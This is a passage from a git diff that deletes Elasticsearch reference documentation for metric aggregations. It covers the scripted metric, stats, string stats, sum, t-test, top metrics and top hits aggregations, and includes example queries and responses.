-===== After map_script
-
-Each shard collects its documents and runs the map_script on each document that is collected:
-
-Shard A::
-+
-[source,js]
---------------------------------------------------
-"state" : {
-    "transactions" : [ 80, -30 ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Shard B::
-+
-[source,js]
---------------------------------------------------
-"state" : {
-    "transactions" : [ -10, 130 ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-===== After combine_script
-
-The combine_script is executed on each shard after document collection is complete and reduces all the transactions down to a single profit figure for each
-shard (by summing the values in the transactions array) which is passed back to the coordinating node:
-
-Shard A::        50
-Shard B::        120
-
-===== After reduce_script
-
-The reduce_script receives a `states` array containing the result of the combine script for each shard:
-
-[source,js]
---------------------------------------------------
-"states" : [
-    50,
-    120
-]
---------------------------------------------------
-// NOTCONSOLE
-
-It reduces the responses for the shards down to a final overall profit figure (by summing the values) and returns this as the result of the aggregation to
-produce the response:
-
-[source,js]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "profit": {
-      "value": 170
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[scripted-metric-aggregation-parameters]]
-==== Other parameters
-
-[horizontal]
-params::           Optional. An object whose contents will be passed as variables to the  `init_script`, `map_script` and `combine_script`. This can be
-                   useful to allow the user to control the behavior of the aggregation and for storing state between the scripts. If this is not specified,
-                   the default is the equivalent of providing:
-+
-[source,js]
---------------------------------------------------
-"params" : {}
---------------------------------------------------
-// NOTCONSOLE
-
-[[scripted-metric-aggregation-empty-buckets]]
-==== Empty buckets
-
-If a parent bucket of the scripted metric aggregation does not collect any documents an empty aggregation response will be returned from the
-shard with a `null` value. In this case the `reduce_script`'s `states` variable will contain `null` as a response from that shard.
-`reduce_script`'s should therefore expect and deal with `null` responses from shards.  
diff --git a/docs/reference/aggregations/metrics/stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/stats-aggregation.asciidoc
deleted file mode 100644
index d02a7ea2a5b..00000000000
--- a/docs/reference/aggregations/metrics/stats-aggregation.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[search-aggregations-metrics-stats-aggregation]]
-=== Stats aggregation
-++++
-<titleabbrev>Stats</titleabbrev>
-++++
-
-A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script.
-
-The stats that are returned consist of: `min`, `max`, `sum`, `count` and `avg`.
-
-Assuming the data consists of documents representing exams grades (between 0 and 100) of students
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grades_stats": { "stats": { "field": "grade" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-The above aggregation computes the grades statistics over all documents. The aggregation type is `stats` and the `field` setting defines the numeric field of the documents the stats will be computed on. The above will return the following:
-
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "grades_stats": {
-      "count": 2,
-      "min": 50.0,
-      "max": 100.0,
-      "avg": 75.0,
-      "sum": 150.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`grades_stats` above) also serves as the key by which the aggregation result can be retrieved from the returned response.
-
-==== Script
-
-Computing the grades stats based on a script:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grades_stats": {
-      "stats": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['grade'].value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grades_stats": {
-      "stats": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "grade"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams,stored_example_script]
-
-===== Value Script
-
-It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use a value script to get the new stats:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grades_stats": {
-      "stats": {
-        "field": "grade",
-        "script": {
-          "lang": "painless",
-          "source": "_value * params.correction",
-          "params": {
-            "correction": 1.2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-POST /exams/_search?size=0
-{
-  "aggs": {
-    "grades_stats": {
-      "stats": {
-        "field": "grade",
-        "missing": 0      <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-<1> Documents without a value in the `grade` field will fall into the same bucket as documents that have the value `0`.
diff --git a/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc
deleted file mode 100644
index 41a5283b273..00000000000
--- a/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc
+++ /dev/null
@@ -1,223 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-metrics-string-stats-aggregation]]
-=== String stats aggregation
-++++
-<titleabbrev>String stats</titleabbrev>
-++++
-
-A `multi-value` metrics aggregation that computes statistics over string values extracted from the aggregated documents.
-These values can be retrieved either from specific `keyword` fields in the documents or can be generated by a provided script.
-
-WARNING: Using scripts can result in slower search speeds. See
-<<scripts-and-search-speed>>.
-
-The string stats aggregation returns the following results:
-
-* `count` - The number of non-empty fields counted.
-* `min_length` - The length of the shortest term.
-* `max_length` - The length of the longest term.
-* `avg_length` - The average length computed over all terms.
-* `entropy` - The {wikipedia}/Entropy_(information_theory)[Shannon Entropy] value computed over all terms collected by
-the aggregation. Shannon entropy quantifies the amount of information contained in the field. It is a very useful metric for
-measuring a wide range of properties of a data set, such as diversity, similarity, randomness etc.
-
-For example:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": { "string_stats": { "field": "message.keyword" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-The above aggregation computes the string statistics for the `message` field in all documents. The aggregation type
-is `string_stats` and the `field` parameter defines the field of the documents the stats will be computed on.
-The above will return the following:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "message_stats": {
-      "count": 5,
-      "min_length": 24,
-      "max_length": 30,
-      "avg_length": 28.8,
-      "entropy": 3.94617750050791
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`message_stats` above) also serves as the key by which the aggregation result can be retrieved from
-the returned response.
-
-==== Character distribution
-
-The computation of the Shannon Entropy value is based on the probability of each character appearing in all terms collected
-by the aggregation. To view the probability distribution for all characters, we can add the `show_distribution` (default: `false`) parameter.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": {
-      "string_stats": {
-        "field": "message.keyword",
-        "show_distribution": true  <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-<1> Set the `show_distribution` parameter to `true`, so that probability distribution for all characters is returned in the results.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "message_stats": {
-      "count": 5,
-      "min_length": 24,
-      "max_length": 30,
-      "avg_length": 28.8,
-      "entropy": 3.94617750050791,
-      "distribution": {
-        " ": 0.1527777777777778,
-        "e": 0.14583333333333334,
-        "s": 0.09722222222222222,
-        "m": 0.08333333333333333,
-        "t": 0.0763888888888889,
-        "h": 0.0625,
-        "a": 0.041666666666666664,
-        "i": 0.041666666666666664,
-        "r": 0.041666666666666664,
-        "g": 0.034722222222222224,
-        "n": 0.034722222222222224,
-        "o": 0.034722222222222224,
-        "u": 0.034722222222222224,
-        "b": 0.027777777777777776,
-        "w": 0.027777777777777776,
-        "c": 0.013888888888888888,
-        "E": 0.006944444444444444,
-        "l": 0.006944444444444444,
-        "1": 0.006944444444444444,
-        "2": 0.006944444444444444,
-        "3": 0.006944444444444444,
-        "4": 0.006944444444444444,
-        "y": 0.006944444444444444
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The `distribution` object shows the probability of each character appearing in all terms. The characters are sorted by descending probability.
-
-==== Script
-
-Computing the message string stats based on a script:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": {
-      "string_stats": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['message.keyword'].value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters.
-To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": {
-      "string_stats": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "message.keyword"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages,stored_example_script]
-
-===== Value Script
-
-We can use a value script to modify the message (eg we can add a prefix) and compute the new stats:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": {
-      "string_stats": {
-        "field": "message.keyword",
-        "script": {
-          "lang": "painless",
-          "source": "params.prefix + _value",
-          "params": {
-            "prefix": "Message: "
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they had a value.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?size=0
-{
-  "aggs": {
-    "message_stats": {
-      "string_stats": {
-        "field": "message.keyword",
-        "missing": "[empty message]" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-<1> Documents without a value in the `message` field will be treated as documents that have the value `[empty message]`.
diff --git a/docs/reference/aggregations/metrics/sum-aggregation.asciidoc b/docs/reference/aggregations/metrics/sum-aggregation.asciidoc
deleted file mode 100644
index c7bd15067c2..00000000000
--- a/docs/reference/aggregations/metrics/sum-aggregation.asciidoc
+++ /dev/null
@@ -1,216 +0,0 @@
-[[search-aggregations-metrics-sum-aggregation]]
-=== Sum aggregation
-++++
-<titleabbrev>Sum</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that sums up numeric values that are extracted from the aggregated documents.
-These values can be extracted either from specific numeric or <<histogram,histogram>> fields in the documents,
-or be generated by a provided script.
-
-Assuming the data consists of documents representing sales records we can sum
-the sale price of all hats with:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "match": { "type": "hat" }
-      }
-    }
-  },
-  "aggs": {
-    "hat_prices": { "sum": { "field": "price" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Resulting in:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "hat_prices": {
-      "value": 450.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`hat_prices` above) also serves as the key by which the aggregation result can be retrieved from the returned response.
-
-==== Script
-
-We could also use a script to fetch the sales price:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "match": { "type": "hat" }
-      }
-    }
-  },
-  "aggs": {
-    "hat_prices": {
-      "sum": {
-        "script": {
-          "source": "doc.price.value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "match": { "type": "hat" }
-      }
-    }
-  },
-  "aggs": {
-    "hat_prices": {
-      "sum": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "price"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales,stored_example_script]
-
-===== Value Script
-
-It is also possible to access the field value from the script using `_value`.
-For example, this will sum the square of the prices for all hats:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "match": { "type": "hat" }
-      }
-    }
-  },
-  "aggs": {
-    "square_hats": {
-      "sum": {
-        "field": "price",
-        "script": {
-          "source": "_value * _value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should
-be treated. By default documents missing the value will be ignored but it is
-also possible to treat them as if they had a value. For example, this treats
-all hat sales without a price as being `100`.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "match": { "type": "hat" }
-      }
-    }
-  },
-  "aggs": {
-    "hat_prices": {
-      "sum": {
-        "field": "price",
-        "missing": 100 <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-[[search-aggregations-metrics-sum-aggregation-histogram-fields]]
-==== Histogram fields
-
-When sum is computed on <<histogram,histogram fields>>, the result of the aggregation is the sum of all elements in the `values`
-array multiplied by the number in the same position in the `counts` array.
-
-For example, for the following index that stores pre-aggregated histograms with latency metrics for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [3, 7, 23, 12, 6] <2>
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" :  [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [8, 17, 8, 7, 6] <2>
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs" : {
-    "total_latency" : { "sum" : { "field" : "latency_histo" } }
-  }
-}
---------------------------------------------------
-
-For each histogram field the `sum` aggregation will multiply each number in the `values` array <1> multiplied by its associated count
-in the `counts` array <2>. Eventually, it will add all values for all histograms and return the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "total_latency": {
-      "value": 28.8
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
diff --git a/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc b/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc
deleted file mode 100644
index 969ce251041..00000000000
--- a/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc
+++ /dev/null
@@ -1,180 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-metrics-ttest-aggregation]]
-=== T-test aggregation
-++++
-<titleabbrev>T-test</titleabbrev>
-++++
-
-A `t_test` metrics aggregation that performs a statistical hypothesis test in which the test statistic follows a Student's t-distribution
-under the null hypothesis on numeric values extracted from the aggregated documents or generated by provided scripts. In practice, this
-will tell you if the difference between two population means are statistically significant and did not occur by chance alone.
-
-==== Syntax
-
-A `t_test` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "t_test": {
-    "a": "value_before",
-    "b": "value_after",
-    "type": "paired"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Assuming that we have a record of node start up times before and after upgrade, let's look at a t-test to see if upgrade affected
-the node start up time in a meaningful way.
-
-[source,console]
---------------------------------------------------
-GET node_upgrade/_search
-{
-  "size": 0,
-  "aggs": {
-    "startup_time_ttest": {
-      "t_test": {
-        "a": { "field": "startup_time_before" },  <1>
-        "b": { "field": "startup_time_after" },   <2>
-        "type": "paired"                          <3>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:node_upgrade]
-<1> The field `startup_time_before` must be a numeric field.
-<2> The field `startup_time_after` must be a numeric field.
-<3> Since we have data from the same nodes, we are using paired t-test.
-
-The response will return the p-value or probability value for the test. It is the probability of obtaining results at least as extreme as
-the result processed by the aggregation, assuming that the null hypothesis is correct (which means there is no difference between
-population means). Smaller p-value means the null hypothesis is more likely to be incorrect and population means are indeed different.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
- "aggregations": {
-    "startup_time_ttest": {
-      "value": 0.1914368843365979 <1>
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-<1> The p-value.
-
-==== T-Test Types
-
-The `t_test` aggregation supports unpaired and paired two-sample t-tests. The type of the test can be specified using the `type` parameter:
-
-`"type": "paired"`:: performs paired t-test
-`"type": "homoscedastic"`:: performs two-sample equal variance test
-`"type": "heteroscedastic"`:: performs two-sample unequal variance test (this is default)
-
-==== Filters
-
-It is also possible to run unpaired t-test on different sets of records using filters. For example, if we want to test the difference
-of startup times before upgrade between two different groups of nodes, we use the same field `startup_time_before` by separate groups of
-nodes using terms filters on the group name field:
-
-[source,console]
---------------------------------------------------
-GET node_upgrade/_search
-{
-  "size": 0,
-  "aggs": {
-    "startup_time_ttest": {
-      "t_test": {
-        "a": {
-          "field": "startup_time_before",         <1>
-          "filter": {
-            "term": {
-              "group": "A"                        <2>
-            }
-          }
-        },
-        "b": {
-          "field": "startup_time_before",         <3>
-          "filter": {
-            "term": {
-              "group": "B"                        <4>
-            }
-          }
-        },
-        "type": "heteroscedastic"                 <5>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:node_upgrade]
-<1> The field `startup_time_before` must be a numeric field.
-<2> Any query that separates two groups can be used here.
-<3> We are using the same field
-<4> but we are using different filters.
-<5> Since we have data from different nodes, we cannot use paired t-test.
-
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
- "aggregations": {
-    "startup_time_ttest": {
-      "value": 0.2981858007281437 <1>
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-<1> The p-value.
-
-In this example, we are using the same fields for both populations. However this is not a requirement and different fields and even
-combination of fields and scripts can be used. Populations don't have to be in the same index either. If data sets are located in different
-indices, the term filter on the <<mapping-index-field,`_index`>> field can be used to select populations.
-
-==== Script
-
-The `t_test` metric supports scripting.  For example, if we need to adjust out load times for the before values, we could use
-a script to recalculate them on-the-fly:
-
-[source,console]
---------------------------------------------------
-GET node_upgrade/_search
-{
-  "size": 0,
-  "aggs": {
-    "startup_time_ttest": {
-      "t_test": {
-        "a": {
-          "script": {
-            "lang": "painless",
-            "source": "doc['startup_time_before'].value - params.adjustment", <1>
-            "params": {
-              "adjustment": 10                                                <2>
-            }
-          }
-        },
-        "b": {
-          "field": "startup_time_after"                                       <3>
-        },
-        "type": "paired"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:node_upgrade]
-
-<1> The `field` parameter is replaced with a `script` parameter, which uses the
-script to generate values which percentiles are calculated on.
-<2> Scripting supports parameterized input just like any other script.
-<3> We can mix scripts and fields.
-
diff --git a/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc b/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc
deleted file mode 100644
index 9b9d5c49b01..00000000000
--- a/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc
+++ /dev/null
@@ -1,404 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-metrics-top-metrics]]
-=== Top metrics aggregation
-++++
-<titleabbrev>Top metrics</titleabbrev>
-++++
-
-The `top_metrics` aggregation selects metrics from the document with the largest or smallest "sort"
-value. For example, this gets the value of the `m` field on the document with the largest value of `s`:
-
-[source,console,id=search-aggregations-metrics-top-metrics-simple]
-----
-POST /test/_bulk?refresh
-{"index": {}}
-{"s": 1, "m": 3.1415}
-{"index": {}}
-{"s": 2, "m": 1.0}
-{"index": {}}
-{"s": 3, "m": 2.71828}
-POST /test/_search?filter_path=aggregations
-{
-  "aggs": {
-    "tm": {
-      "top_metrics": {
-        "metrics": {"field": "m"},
-        "sort": {"s": "desc"}
-      }
-    }
-  }
-}
-----
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "tm": {
-      "top": [ {"sort": [3], "metrics": {"m": 2.718280076980591 } } ]
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-`top_metrics` is fairly similar to <<search-aggregations-metrics-top-hits-aggregation, `top_hits`>>
-in spirit but because it is more limited it is able to do its job using less memory and is often
-faster.
-
-==== `sort`
-
-The `sort` field in the metric request functions exactly the same as the `sort` field in the
-<<sort-search-results, search>> request except:
-* It can't be used on <<binary,binary>>, <<flattened,flattened>>, <<ip,ip>>,
-<<keyword,keyword>>, or <<text,text>> fields.
-* It only supports a single sort value so which document wins ties is not specified.
-
-The metrics that the aggregation returns is the first hit that would be returned by the search
-request. So,
-
-`"sort": {"s": "desc"}`:: gets metrics from the document with the highest `s`
-`"sort": {"s": "asc"}`:: gets the metrics from the document with the lowest `s`
-`"sort": {"_geo_distance": {"location": "35.7796, -78.6382"}}`::
-  gets metrics from the documents with `location` *closest* to `35.7796, -78.6382`
-`"sort": "_score"`:: gets metrics from the document with the highest score
-
-==== `metrics`
-
-`metrics` selects the fields of the "top" document to return. You can request
-a single metric with something like `"metric": {"field": "m"}` or multiple
-metrics by requesting a list of metrics like `"metric": [{"field": "m"}, {"field": "i"}`.
-Here is a more complete example:
-
-[source,console,id=search-aggregations-metrics-top-metrics-list-of-metrics]
-----
-PUT /test
-{
-  "mappings": {
-    "properties": {
-      "d": {"type": "date"}
-    }
-  }
-}
-POST /test/_bulk?refresh
-{"index": {}}
-{"s": 1, "m": 3.1415, "i": 1, "d": "2020-01-01T00:12:12Z"}
-{"index": {}}
-{"s": 2, "m": 1.0, "i": 6, "d": "2020-01-02T00:12:12Z"}
-{"index": {}}
-{"s": 3, "m": 2.71828, "i": -12, "d": "2019-12-31T00:12:12Z"}
-POST /test/_search?filter_path=aggregations
-{
-  "aggs": {
-    "tm": {
-      "top_metrics": {
-        "metrics": [
-          {"field": "m"},
-          {"field": "i"},
-          {"field": "d"}
-        ],
-        "sort": {"s": "desc"}
-      }
-    }
-  }
-}
-----
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "tm": {
-      "top": [ {
-        "sort": [3],
-        "metrics": {
-          "m": 2.718280076980591,
-          "i": -12,
-          "d": "2019-12-31T00:12:12.000Z"
-        }
-      } ]
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-==== `size`
-
-`top_metrics` can return the top few document's worth of metrics using the size parameter:
-
-[source,console,id=search-aggregations-metrics-top-metrics-size]
-----
-POST /test/_bulk?refresh
-{"index": {}}
-{"s": 1, "m": 3.1415}
-{"index": {}}
-{"s": 2, "m": 1.0}
-{"index": {}}
-{"s": 3, "m": 2.71828}
-POST /test/_search?filter_path=aggregations
-{
-  "aggs": {
-    "tm": {
-      "top_metrics": {
-        "metrics": {"field": "m"},
-        "sort": {"s": "desc"},
-        "size": 3
-      }
-    }
-  }
-}
-----
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "tm": {
-      "top": [
-        {"sort": [3], "metrics": {"m": 2.718280076980591 } },
-        {"sort": [2], "metrics": {"m": 1.0 } },
-        {"sort": [1], "metrics": {"m": 3.1414999961853027 } }
-      ]
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-The default `size` is 1. The maximum default size is `10` because the aggregation's
-working storage is "dense", meaning we allocate `size` slots for every bucket. `10`
-is a *very* conservative default maximum and you can raise it if you need to by
-changing the `top_metrics_max_size` index setting. But know that large sizes can
-take a fair bit of memory, especially if they are inside of an aggregation which
-makes many buckes like a large
-<<search-aggregations-metrics-top-metrics-example-terms, terms aggregation>>. If
-you till want to raise it, use something like:
-
-[source,console]
-----
-PUT /test/_settings
-{
-  "top_metrics_max_size": 100
-}
-----
-// TEST[continued]
-
-NOTE: If `size` is more than `1` the `top_metrics` aggregation can't be the *target* of a sort.
-
-==== Examples
-
-[[search-aggregations-metrics-top-metrics-example-terms]]
-===== Use with terms
-
-This aggregation should be quite useful inside of <<search-aggregations-bucket-terms-aggregation, `terms`>>
-aggregation, to, say, find the last value reported by each server.
-
-[source,console,id=search-aggregations-metrics-top-metrics-terms]
-----
-PUT /node
-{
-  "mappings": {
-    "properties": {
-      "ip": {"type": "ip"},
-      "date": {"type": "date"}
-    }
-  }
-}
-POST /node/_bulk?refresh
-{"index": {}}
-{"ip": "192.168.0.1", "date": "2020-01-01T01:01:01", "m": 1}
-{"index": {}}
-{"ip": "192.168.0.1", "date": "2020-01-01T02:01:01", "m": 2}
-{"index": {}}
-{"ip": "192.168.0.2", "date": "2020-01-01T02:01:01", "m": 3}
-POST /node/_search?filter_path=aggregations
-{
-  "aggs": {
-    "ip": {
-      "terms": {
-        "field": "ip"
-      },
-      "aggs": {
-        "tm": {
-          "top_metrics": {
-            "metrics": {"field": "m"},
-            "sort": {"date": "desc"}
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "ip": {
-      "buckets": [
-        {
-          "key": "192.168.0.1",
-          "doc_count": 2,
-          "tm": {
-            "top": [ {"sort": ["2020-01-01T02:01:01.000Z"], "metrics": {"m": 2 } } ]
-          }
-        },
-        {
-          "key": "192.168.0.2",
-          "doc_count": 1,
-          "tm": {
-            "top": [ {"sort": ["2020-01-01T02:01:01.000Z"], "metrics": {"m": 3 } } ]
-          }
-        }
-      ],
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-Unlike `top_hits`, you can sort buckets by the results of this metric:
-
-[source,console]
-----
-POST /node/_search?filter_path=aggregations
-{
-  "aggs": {
-    "ip": {
-      "terms": {
-        "field": "ip",
-        "order": {"tm.m": "desc"}
-      },
-      "aggs": {
-        "tm": {
-          "top_metrics": {
-            "metrics": {"field": "m"},
-            "sort": {"date": "desc"}
-          }
-        }
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "ip": {
-      "buckets": [
-        {
-          "key": "192.168.0.2",
-          "doc_count": 1,
-          "tm": {
-            "top": [ {"sort": ["2020-01-01T02:01:01.000Z"], "metrics": {"m": 3 } } ]
-          }
-        },
-        {
-          "key": "192.168.0.1",
-          "doc_count": 2,
-          "tm": {
-            "top": [ {"sort": ["2020-01-01T02:01:01.000Z"], "metrics": {"m": 2 } } ]
-          }
-        }
-      ],
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-===== Mixed sort types
-
-Sorting `top_metrics` by a field that has different types across different
-indices producs somewhat suprising results: floating point fields are
-always sorted independantly of whole numbered fields.
-
-[source,console,id=search-aggregations-metrics-top-metrics-mixed-sort]
-----
-POST /test/_bulk?refresh
-{"index": {"_index": "test1"}}
-{"s": 1, "m": 3.1415}
-{"index": {"_index": "test1"}}
-{"s": 2, "m": 1}
-{"index": {"_index": "test2"}}
-{"s": 3.1, "m": 2.71828}
-POST /test*/_search?filter_path=aggregations
-{
-  "aggs": {
-    "tm": {
-      "top_metrics": {
-        "metrics": {"field": "m"},
-        "sort": {"s": "asc"}
-      }
-    }
-  }
-}
-----
-
-Which returns:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "tm": {
-      "top": [ {"sort": [3.0999999046325684], "metrics": {"m": 2.718280076980591 } } ]
-    }
-  }
-}
-----
-// TESTRESPONSE
-
-While this is better than an error it *probably* isn't what you were going for.
-While it does lose some precision, you can explictly cast the whole number
-fields to floating points with something like:
-
-[source,console]
-----
-POST /test*/_search?filter_path=aggregations
-{
-  "aggs": {
-    "tm": {
-      "top_metrics": {
-        "metrics": {"field": "m"},
-        "sort": {"s": {"order": "asc", "numeric_type": "double"}}
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-Which returns the much more expected:
-
-[source,js]
-----
-{
-  "aggregations": {
-    "tm": {
-      "top": [ {"sort": [1.0], "metrics": {"m": 3.1414999961853027 } } ]
-    }
-  }
-}
-----
-// TESTRESPONSE
diff --git a/docs/reference/aggregations/metrics/tophits-aggregation.asciidoc b/docs/reference/aggregations/metrics/tophits-aggregation.asciidoc
deleted file mode 100644
index 4136868d4ba..00000000000
--- a/docs/reference/aggregations/metrics/tophits-aggregation.asciidoc
+++ /dev/null
@@ -1,422 +0,0 @@
-[[search-aggregations-metrics-top-hits-aggregation]]
-=== Top hits aggregation
-++++
-<titleabbrev>Top hits</titleabbrev>
-++++
-
-A `top_hits` metric aggregator keeps track of the most relevant document being aggregated. This aggregator is intended
-to be used as a sub aggregator, so that the top matching documents can be aggregated per bucket.
-
-TIP: We do not recommend using `top_hits` as a top-level aggregation. If you
-want to group search hits, use the <<collapse-search-results,`collapse`>>
-parameter instead.
-
-The `top_hits` aggregator can effectively be used to group result sets by certain fields via a bucket aggregator.
-One or more bucket aggregators determines by which properties a result set get sliced into.
-
-==== Options
-
-* `from` - The offset from the first result you want to fetch.
-* `size` - The maximum number of top matching hits to return per bucket. By default the top three matching hits are returned.
